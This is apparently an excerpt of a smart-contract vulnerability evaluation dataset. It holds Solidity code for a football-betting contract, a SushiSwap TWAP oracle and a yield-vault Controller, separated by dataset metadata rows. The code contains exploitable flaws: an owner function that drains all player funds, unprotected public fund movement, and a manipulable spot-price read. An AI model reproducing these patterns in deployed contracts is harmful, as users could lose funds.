matchesBets[_matchId].betsQ++;
pots.nextDayPot += betAmount*nextDayCut/100;
pots.finalPot += betAmount*finalCut/100;
pots.treasuryPot += betAmount*treasuryCut/100;
pots.foundersClubPot += betAmount*foundersClubCut/100;
emit BetEvent(msg.sender, betAmount, _matchId, _homeTeam, _homeTeamScore, _awayTeam, _awayTeamScore);
}
function claimWin(string memory _matchId) external {
//require(!matches[_matchId].isClosed, "Sorry, The match is closed for withdraw");
require(matches[_matchId].isClaimable, "The match is not claimable");
require(matchesBets[_matchId].betsByAddress[msg.sender].isMatchWinner, "You are not a winner");
require(!matchesBets[_matchId].betsByAddress[msg.sender].isClaimed, "Your funds has been already withdrawn");
if (matchesBets[_matchId].betsByAddress[msg.sender].isMatchWinner && matchesBets[_matchId].betsByAddress[msg.sender].isPerfectScoreWinner){
uint _betAmount = matchesBets[_matchId].betsByAddress[msg.sender].amount;
uint _matchWinnerAvax = matchesBets[_matchId].matchWinnersAvax;
uint _winnersPot = matchesBets[_matchId].winnersPot;
uint _prizeMatchWinner = (_betAmount * _winnersPot / _matchWinnerAvax);
uint _perfectScoreWinnersAvax = matchesBets[_matchId].perfectScoreWinnersAvax;
uint _perfectScorePot = matchesBets[_matchId].perfectScorePot;
uint _perfectScoreWinnerPrize = (_betAmount * _perfectScorePot / _perfectScoreWinnersAvax);
uint _totalPrize = _prizeMatchWinner + _perfectScoreWinnerPrize;
matchesBets[_matchId].betsByAddress[msg.sender].prizeMatchWinner += _prizeMatchWinner;
matchesBets[_matchId].betsByAddress[msg.sender].prizePerfectScoreWinner += _perfectScoreWinnerPrize;
matchesBets[_matchId].betsByAddress[msg.sender].isClaimed = true;
//emit ResultBetEvent(msg.sender, _matchId, _prizeMatchWinner, _perfectScoreWinnerPrize, _betAmount);
//matchesBets[_matchId].winnersPot -= _prizeMatchWinner;
//matchesBets[_matchId].perfectScorePot -= _perfectScoreWinnerPrize;
payable(msg.sender).transfer(_totalPrize);
emit ClaimBetEvent(msg.sender, _matchId, _betAmount, _prizeMatchWinner, _perfectScoreWinnerPrize, _totalPrize);
} else if (matchesBets[_matchId].betsByAddress[msg.sender].isMatchWinner && !matchesBets[_matchId].betsByAddress[msg.sender].isPerfectScoreWinner){
uint _betAmount = matchesBets[_matchId].betsByAddress[msg.sender].amount;
uint _matchWinnerAvax = matchesBets[_matchId].matchWinnersAvax;
uint _winnersPot = matchesBets[_matchId].winnersPot;
uint _prizeMatchWinner = (_betAmount * _winnersPot / _matchWinnerAvax);
matchesBets[_matchId].betsByAddress[msg.sender].prizeMatchWinner += _prizeMatchWinner;
matchesBets[_matchId].betsByAddress[msg.sender].isClaimed = true;
//matchesBets[_matchId].winnersPot -= _prizeMatchWinner;
payable(msg.sender).transfer(_prizeMatchWinner);
emit ClaimBetEvent(msg.sender, _matchId, _betAmount, _prizeMatchWinner, 0, _prizeMatchWinner);
}
}
function withDrawFunds(string memory _matchId) external {
require(matches[_matchId].isCancelled, "The match is not cancelled, you can't withdraw funds");
//require(!matches[_matchId].isClosed, "Sorry, The match is closed for withdraw");
require(matches[_matchId].isClaimable, "The match is not claimable");
uint refund = matchesBets[_matchId].betsByAddress[msg.sender].amount;
matchesBets[_matchId].betsByAddress[msg.sender].amount = 0;
matchesBets[_matchId].winnersPot -= refund*winnerCut/100;
matchesBets[_matchId].perfectScorePot -= refund*perfectScoreCut/100;
matchesBets[_matchId].betsQ--;
pots.nextDayPot -= refund*nextDayCut/100;
pots.finalPot -= refund*finalCut/100;
pots.treasuryPot -= refund*treasuryCut/100;
pots.foundersClubPot -= refund*foundersClubCut/100;
payable(msg.sender).transfer(refund);
emit RefundBetEvent(msg.sender, _matchId, refund);
}
function setResult(string memory _matchId, uint _homeTeamScore, uint _awayTeamScore) external onlyOwner {
require(!matches[_matchId].isClaimable, "The result is already seated");
matches[_matchId].homeTeamScore = _homeTeamScore;
matches[_matchId].awayTeamScore = _awayTeamScore;
bool _hTeamWinner = _homeTeamScore < _awayTeamScore ? false : _homeTeamScore == _awayTeamScore ? false : true;
matches[_matchId].homeTeamWinner = _hTeamWinner;
bool _aTeamWinner = _awayTeamScore < _homeTeamScore ? false : _awayTeamScore == _homeTeamScore ? false : true;
matches[_matchId].awayTeamWinner = _aTeamWinner;
bool _tie = _homeTeamScore == _awayTeamScore ? true : false;
matches[_matchId].isTie = _tie;
matchesBets[_matchId].matchWinners = 0;
matchesBets[_matchId].perfectScoreWinners = 0;
matchesBets[_matchId].matchWinnersAvax = 0;
matchesBets[_matchId].perfectScoreWinnersAvax = 0;
for (uint i=0; i < matchesBets[_matchId].bets.length; i++){
if (matchesBets[_matchId].bets[i].homeTeamWinner == _hTeamWinner && matchesBets[_matchId].bets[i].awayTeamWinner == _aTeamWinner && matchesBets[_matchId].bets[i].isTie == _tie){
if (matchesBets[_matchId].bets[i].homeTeamScore == _homeTeamScore && matchesBets[_matchId].bets[i].awayTeamScore == _awayTeamScore){
//matchesBets[_matchId].bets[i].isMatchWinner = true;
//matchesBets[_matchId].bets[i].isPerfectScoreWinner = true;
//matchesBets[_matchId].bets[i].gambitPoints = 3;
betsAddress[matchesBets[_matchId].bets[i].addy].matchId = _matchId;
betsAddress[matchesBets[_matchId].bets[i].addy].isMatchWinner = true;
betsAddress[matchesBets[_matchId].bets[i].addy].isPerfectScoreWinner = true;
matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].isMatchWinner = true;
matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].isPerfectScoreWinner = true;
matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].gambitPoints = 3;
//matchesBets[_matchId].winnersAddress.push(matchesBets[_matchId].bets[i].addy);
matchesBets[_matchId].matchWinners++;
matchesBets[_matchId].perfectScoreWinners++;
matchesBets[_matchId].matchWinnersAvax += matchesBets[_matchId].bets[i].amount;
matchesBets[_matchId].perfectScoreWinnersAvax += matchesBets[_matchId].bets[i].amount;
} else {
//matchesBets[_matchId].bets[i].isMatchWinner = true;
//matchesBets[_matchId].bets[i].isPerfectScoreWinner = false;
//matchesBets[_matchId].bets[i].gambitPoints = 2;
betsAddress[matchesBets[_matchId].bets[i].addy].matchId = _matchId;
betsAddress[matchesBets[_matchId].bets[i].addy].isMatchWinner = true;
betsAddress[matchesBets[_matchId].bets[i].addy].isPerfectScoreWinner = false;
matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].isMatchWinner = true;
matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].isPerfectScoreWinner = false;
matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].gambitPoints = 2;
//matchesBets[_matchId].winnersAddress.push(matchesBets[_matchId].bets[i].addy);
matchesBets[_matchId].matchWinners++;
matchesBets[_matchId].matchWinnersAvax += matchesBets[_matchId].bets[i].amount;
}
} else {
//matchesBets[_matchId].bets[i].isMatchWinner = false;
//matchesBets[_matchId].bets[i].isPerfectScoreWinner = false;
//matchesBets[_matchId].bets[i].prizeMatchWinner = 0;
//matchesBets[_matchId].bets[i].prizePerfectScoreWinner = 0;
betsAddress[matchesBets[_matchId].bets[i].addy].matchId = _matchId;
betsAddress[matchesBets[_matchId].bets[i].addy].isMatchWinner = false;
betsAddress[matchesBets[_matchId].bets[i].addy].isPerfectScoreWinner = false;
matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].isMatchWinner = false;
matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].isPerfectScoreWinner = false;
matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].prizeMatchWinner = 0;
matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].prizePerfectScoreWinner = 0;
matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].isClaimed = true;
betsAddress[matchesBets[_matchId].bets[i].addy].prizeMatchWinner = 0;
betsAddress[matchesBets[_matchId].bets[i].addy].prizePerfectScoreWinner = 0;
betsAddress[matchesBets[_matchId].bets[i].addy].isClaimed = true;
}
}
matches[_matchId].isClaimable = true;
emit ResultEvent(_matchId,matchesBets[_matchId].matchWinners, matchesBets[_matchId].perfectScoreWinners,matchesBets[_matchId].matchWinnersAvax, matchesBets[_matchId].perfectScoreWinnersAvax);
}
function cancelMatch (string memory _matchId) external onlyOwner {
require(msg.sender == owner, "Only Owner function");
matches[_matchId].isCancelled = true;
}
function closeMatch (string memory _matchId) external onlyOwner {
require(msg.sender == owner, "Only Owner function");
//matches[_matchId].isClosed = true;
matches[_matchId].isClaimable = false;
}
function createMatches (Match[] memory _matches) external onlyOwner {
require(_matches.length > 0, "Array of matches is Empty");
for (uint256 i = 0; i < _matches.length; i++) {
matches[_matches[i].id].id = _matches[i].id;
//matches[_matches[i].id].matchNumber = _matches[i].matchNumber;
matches[_matches[i].id].matchDate = _matches[i].matchDate;
matches[_matches[i].id].closingTime = _matches[i].closingTime;
matches[_matches[i].id].homeTeam = _matches[i].homeTeam;
matches[_matches[i].id].homeTeamScore = _matches[i].homeTeamScore;
matches[_matches[i].id].homeTeamWinner = _matches[i].homeTeamWinner;
matches[_matches[i].id].awayTeam = _matches[i].awayTeam;
matches[_matches[i].id].awayTeamScore = _matches[i].awayTeamScore;
matches[_matches[i].id].awayTeamWinner = _matches[i].awayTeamWinner;
matches[_matches[i].id].isTie = _matches[i].isTie;
//matches[_matches[i].id].isClosed = _matches[i].isClosed;
matches[_matches[i].id].isClaimable = _matches[i].isClaimable;
matches[_matches[i].id].isCancelled = _matches[i].isCancelled;
}
}
function fundInitialPot() external payable onlyOwner {
require(msg.sender == owner, "Only Owner function");
pots.initialPot += msg.value;
}
function fundInitialPotWithNextDayPot() external onlyOwner {
require(msg.sender == owner, "Only Owner function");
pots.initialPot += pots.nextDayPot;
}
function distributeInitialPot(string memory _matchId) external payable onlyOwner {
require(msg.sender == owner, "Only Owner function");
uint totalAvax = msg.value;
matchesBets[_matchId].winnersPot += totalAvax*70/100;
matchesBets[_matchId].perfectScorePot += totalAvax*30/100;
}
function setMinBet(uint256 _minBet) external onlyOwner {
require(msg.sender == owner, "Only Owner function");
require(_minBet >= 1 ether, "this would be a very small bet amount");
pots.minBet = _minBet;
}
function withDrawBalance() public payable onlyOwner {
require(msg.sender == owner, "Only Owner function");
(bool success,) = payable(msg.sender).call{
value: address(this).balance
}("");
require(success);
}
function withDrawPots() public payable onlyOwner {
require(msg.sender == owner, "Only Owner function");
uint treasuryPotWD = pots.treasuryPot;
uint foundersClubPotWD = pots.foundersClubPot;
uint tandfpot = treasuryPotWD + foundersClubPotWD;
pots.treasuryPot -= treasuryPotWD;
pots.foundersClubPot -= foundersClubPotWD;
payable(msg.sender).transfer(tandfpot);
}
}
| 118,702 | 13,688 |
154aa5d1e766ea0b204842e77dd78344bca030612f445f8c362a9813140f924b
| 16,826 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/SimpleSLPTWAP0OracleV1-0x66F03B0d30838A3fee971928627ea6F59B236065.sol
| 4,316 | 14,652 |
// SPDX-License-Identifier: MIXED
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// solhint-disable not-rely-on-time
// File contracts/interfaces/IOracle.sol
// License-Identifier: MIT
interface IOracle {
/// @notice Get the latest exchange rate.
/// For example:
/// @return success if no valid (recent) rate is available, return false else true.
/// @return rate The rate of the requested asset / pair / pool.
function get(bytes calldata data) external returns (bool success, uint256 rate);
/// @notice Check the last exchange rate without any state changes.
/// For example:
/// @return success if no valid (recent) rate is available, return false else true.
/// @return rate The rate of the requested asset / pair / pool.
function peek(bytes calldata data) external view returns (bool success, uint256 rate);
/// For example:
/// @return rate The rate of the requested asset / pair / pool.
function peekSpot(bytes calldata data) external view returns (uint256 rate);
/// @notice Returns a human readable (short) name about this oracle.
/// For example:
/// @return (string) A human readable symbol name about this oracle.
function symbol(bytes calldata data) external view returns (string memory);
/// @notice Returns a human readable name about this oracle.
/// For example:
/// @return (string) A human readable name about this oracle.
function name(bytes calldata data) external view returns (string memory);
}
// File @boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol@v1.2.1
// License-Identifier: MIT
/// @notice A library for performing overflow-/underflow-safe math,
/// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math).
library BoringMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow");
}
function to128(uint256 a) internal pure returns (uint128 c) {
require(a <= uint128(-1), "BoringMath: uint128 Overflow");
c = uint128(a);
}
function to64(uint256 a) internal pure returns (uint64 c) {
require(a <= uint64(-1), "BoringMath: uint64 Overflow");
c = uint64(a);
}
function to32(uint256 a) internal pure returns (uint32 c) {
require(a <= uint32(-1), "BoringMath: uint32 Overflow");
c = uint32(a);
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint128.
library BoringMath128 {
function add(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint64.
library BoringMath64 {
function add(uint64 a, uint64 b) internal pure returns (uint64 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint64 a, uint64 b) internal pure returns (uint64 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint32.
library BoringMath32 {
function add(uint32 a, uint32 b) internal pure returns (uint32 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint32 a, uint32 b) internal pure returns (uint32 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
// File @sushiswap/core/contracts/uniswapv2/interfaces/IUniswapV2Factory.sol@v1.4.2
// License-Identifier: GPL-3.0
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint256);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function migrator() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setMigrator(address) external;
}
// File @sushiswap/core/contracts/uniswapv2/interfaces/IUniswapV2Pair.sol@v1.4.2
// License-Identifier: GPL-3.0
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from,
address to,
uint256 value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File contracts/libraries/FullMath.sol
// License-Identifier: CC-BY-4.0
// license is CC-BY-4.0
library FullMath {
function fullMul(uint256 x, uint256 y) private pure returns (uint256 l, uint256 h) {
uint256 mm = mulmod(x, y, uint256(-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
function fullDiv(uint256 l,
uint256 h,
uint256 d) private pure returns (uint256) {
uint256 pow2 = d & -d;
d /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint256 r = 1;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
return l * r;
}
function mulDiv(uint256 x,
uint256 y,
uint256 d) internal pure returns (uint256) {
(uint256 l, uint256 h) = fullMul(x, y);
uint256 mm = mulmod(x, y, d);
if (mm > l) h -= 1;
l -= mm;
require(h < d, "FullMath::mulDiv: overflow");
return fullDiv(l, h, d);
}
}
// File contracts/libraries/FixedPoint.sol
// License-Identifier: GPL-3.0-or-later
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = 0x10000000000000000000000000000;
uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000;
uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits)
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// multiply a UQ112x112 by a uint256, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint256 y) internal pure returns (uq144x112 memory) {
uint256 z = 0;
require(y == 0 || (z = self._x * y) / y == self._x, "FixedPoint::mul: overflow");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// lossy if either numerator or denominator is greater than 112 bits
function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint::fraction: div by 0");
if (numerator == 0) return FixedPoint.uq112x112(0);
if (numerator <= uint144(-1)) {
uint256 result = (numerator << RESOLUTION) / denominator;
require(result <= uint224(-1), "FixedPoint::fraction: overflow");
return uq112x112(uint224(result));
} else {
uint256 result = FullMath.mulDiv(numerator, Q112, denominator);
require(result <= uint224(-1), "FixedPoint::fraction: overflow");
return uq112x112(uint224(result));
}
}
}
// File contracts/oracles/SimpleSLPTWAP0Oracle.sol
// License-Identifier: AGPL-3.0-only
// Using the same Copyleft License as in the original Repository
contract SimpleSLPTWAP0OracleV1 is IOracle {
using FixedPoint for *;
using BoringMath for uint256;
uint256 public constant PERIOD = 5 minutes;
struct PairInfo {
uint256 priceCumulativeLast;
uint32 blockTimestampLast;
uint144 priceAverage;
}
mapping(IUniswapV2Pair => PairInfo) public pairs; // Map of pairs and their info
mapping(address => IUniswapV2Pair) public callerInfo; // Map of callers to pairs
function _get(IUniswapV2Pair pair, uint32 blockTimestamp) public view returns (uint256) {
uint256 priceCumulative = pair.price0CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
priceCumulative += uint256(FixedPoint.fraction(reserve1, reserve0)._x) * (blockTimestamp - blockTimestampLast); // overflows ok
// overflow is desired, casting never truncates
return priceCumulative;
}
function getDataParameter(IUniswapV2Pair pair) public pure returns (bytes memory) {
return abi.encode(pair);
}
// Get the latest exchange rate, if no valid (recent) rate is available, return false
/// @inheritdoc IOracle
function get(bytes calldata data) external override returns (bool, uint256) {
IUniswapV2Pair pair = abi.decode(data, (IUniswapV2Pair));
uint32 blockTimestamp = uint32(block.timestamp);
if (pairs[pair].blockTimestampLast == 0) {
pairs[pair].blockTimestampLast = blockTimestamp;
pairs[pair].priceCumulativeLast = _get(pair, blockTimestamp);
return (false, 0);
}
uint32 timeElapsed = blockTimestamp - pairs[pair].blockTimestampLast; // overflow is desired
if (timeElapsed < PERIOD) {
return (true, pairs[pair].priceAverage);
}
uint256 priceCumulative = _get(pair, blockTimestamp);
pairs[pair].priceAverage = FixedPoint
.uq112x112(uint224((priceCumulative - pairs[pair].priceCumulativeLast) / timeElapsed))
.mul(1e18)
.decode144();
pairs[pair].blockTimestampLast = blockTimestamp;
pairs[pair].priceCumulativeLast = priceCumulative;
return (true, pairs[pair].priceAverage);
}
// Check the last exchange rate without any state changes
/// @inheritdoc IOracle
function peek(bytes calldata data) public view override returns (bool, uint256) {
IUniswapV2Pair pair = abi.decode(data, (IUniswapV2Pair));
uint32 blockTimestamp = uint32(block.timestamp);
if (pairs[pair].blockTimestampLast == 0) {
return (false, 0);
}
uint32 timeElapsed = blockTimestamp - pairs[pair].blockTimestampLast; // overflow is desired
if (timeElapsed < PERIOD) {
return (true, pairs[pair].priceAverage);
}
uint256 priceCumulative = _get(pair, blockTimestamp);
uint144 priceAverage =
FixedPoint.uq112x112(uint224((priceCumulative - pairs[pair].priceCumulativeLast) / timeElapsed)).mul(1e18).decode144();
return (true, priceAverage);
}
// Check the current spot exchange rate without any state changes
/// @inheritdoc IOracle
function peekSpot(bytes calldata data) external view override returns (uint256 rate) {
IUniswapV2Pair pair = abi.decode(data, (IUniswapV2Pair));
(uint256 reserve0, uint256 reserve1,) = pair.getReserves();
rate = reserve1.mul(1e18) / reserve0;
}
/// @inheritdoc IOracle
function name(bytes calldata) public view override returns (string memory) {
return "SushiSwap TWAP";
}
/// @inheritdoc IOracle
function symbol(bytes calldata) public view override returns (string memory) {
return "TWAP";
}
}
| 186,608 | 13,689 |
4d292d08aeabeb854841bf467b49987a7a68373417e4f80766eefb458730a6d7
| 22,129 |
.sol
|
Solidity
| false |
341753740
|
Good725/pycrvvault
|
f2deb4cab907bb9837ab4a65b77b645d5cb0c11f
|
contracts/controllers/Controller.sol
| 3,625 | 13,696 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call{ value : amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IConverter {
function convert(address) external returns (uint256);
}
interface IOneSplitAudit {
function swap(address fromToken,
address destToken,
uint256 amount,
uint256 minReturn,
uint256[] calldata distribution,
uint256 flags) external payable returns (uint256 returnAmount);
function getExpectedReturn(address fromToken,
address destToken,
uint256 amount,
uint256 parts,
uint256 flags // See constants in IOneSplit.sol) external view returns (uint256 returnAmount, uint256[] memory distribution);
}
interface IStrategy {
function want() external view returns (address);
function deposit() external;
// NOTE: must exclude any tokens used in the yield
// Controller role - withdraw should return to Controller
function withdraw(address) external;
// Controller | Vault role - withdraw should always return to Vault
function withdraw(uint256) external;
function skim() external;
// Controller | Vault role - withdraw should always return to Vault
function withdrawAll() external returns (uint256);
function balanceOf() external view returns (uint256);
}
contract Controller {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address public governance;
address public strategist;
address public onesplit;
address public rewards;
mapping(address => address) public vaults;
mapping(address => address) public strategies;
mapping(address => mapping(address => address)) public converters;
mapping(address => mapping(address => bool)) public approvedStrategies;
uint256 public split = 500;
uint256 public constant max = 10000;
constructor(address _rewards) {
governance = msg.sender;
strategist = msg.sender;
onesplit = address(0x50FDA034C0Ce7a8f7EFDAebDA7Aa7cA21CC1267e);
rewards = _rewards;
}
function setRewards(address _rewards) public {
require(msg.sender == governance, "!governance");
rewards = _rewards;
}
function setStrategist(address _strategist) public {
require(msg.sender == governance, "!governance");
strategist = _strategist;
}
function setSplit(uint256 _split) public {
require(msg.sender == governance, "!governance");
split = _split;
}
function setOneSplit(address _onesplit) public {
require(msg.sender == governance, "!governance");
onesplit = _onesplit;
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setVault(address _token, address _vault) public {
require(msg.sender == strategist || msg.sender == governance, "!strategist");
require(vaults[_token] == address(0), "vault");
vaults[_token] = _vault;
}
function approveStrategy(address _token, address _strategy) public {
require(msg.sender == governance, "!governance");
approvedStrategies[_token][_strategy] = true;
}
function revokeStrategy(address _token, address _strategy) public {
require(msg.sender == governance, "!governance");
approvedStrategies[_token][_strategy] = false;
}
function setConverter(address _input,
address _output,
address _converter) public {
require(msg.sender == strategist || msg.sender == governance, "!strategist");
converters[_input][_output] = _converter;
}
function setStrategy(address _token, address _strategy) public {
require(msg.sender == strategist || msg.sender == governance, "!strategist");
require(approvedStrategies[_token][_strategy] == true, "!approved");
address _current = strategies[_token];
if (_current != address(0)) {
IStrategy(_current).withdrawAll();
}
strategies[_token] = _strategy;
}
function earn(address _token, uint256 _amount) public {
address _strategy = strategies[_token];
address _want = IStrategy(_strategy).want();
if (_want != _token) {
address converter = converters[_token][_want];
IERC20(_token).safeTransfer(converter, _amount);
_amount = IConverter(converter).convert(_strategy);
IERC20(_want).safeTransfer(_strategy, _amount);
} else {
IERC20(_token).safeTransfer(_strategy, _amount);
}
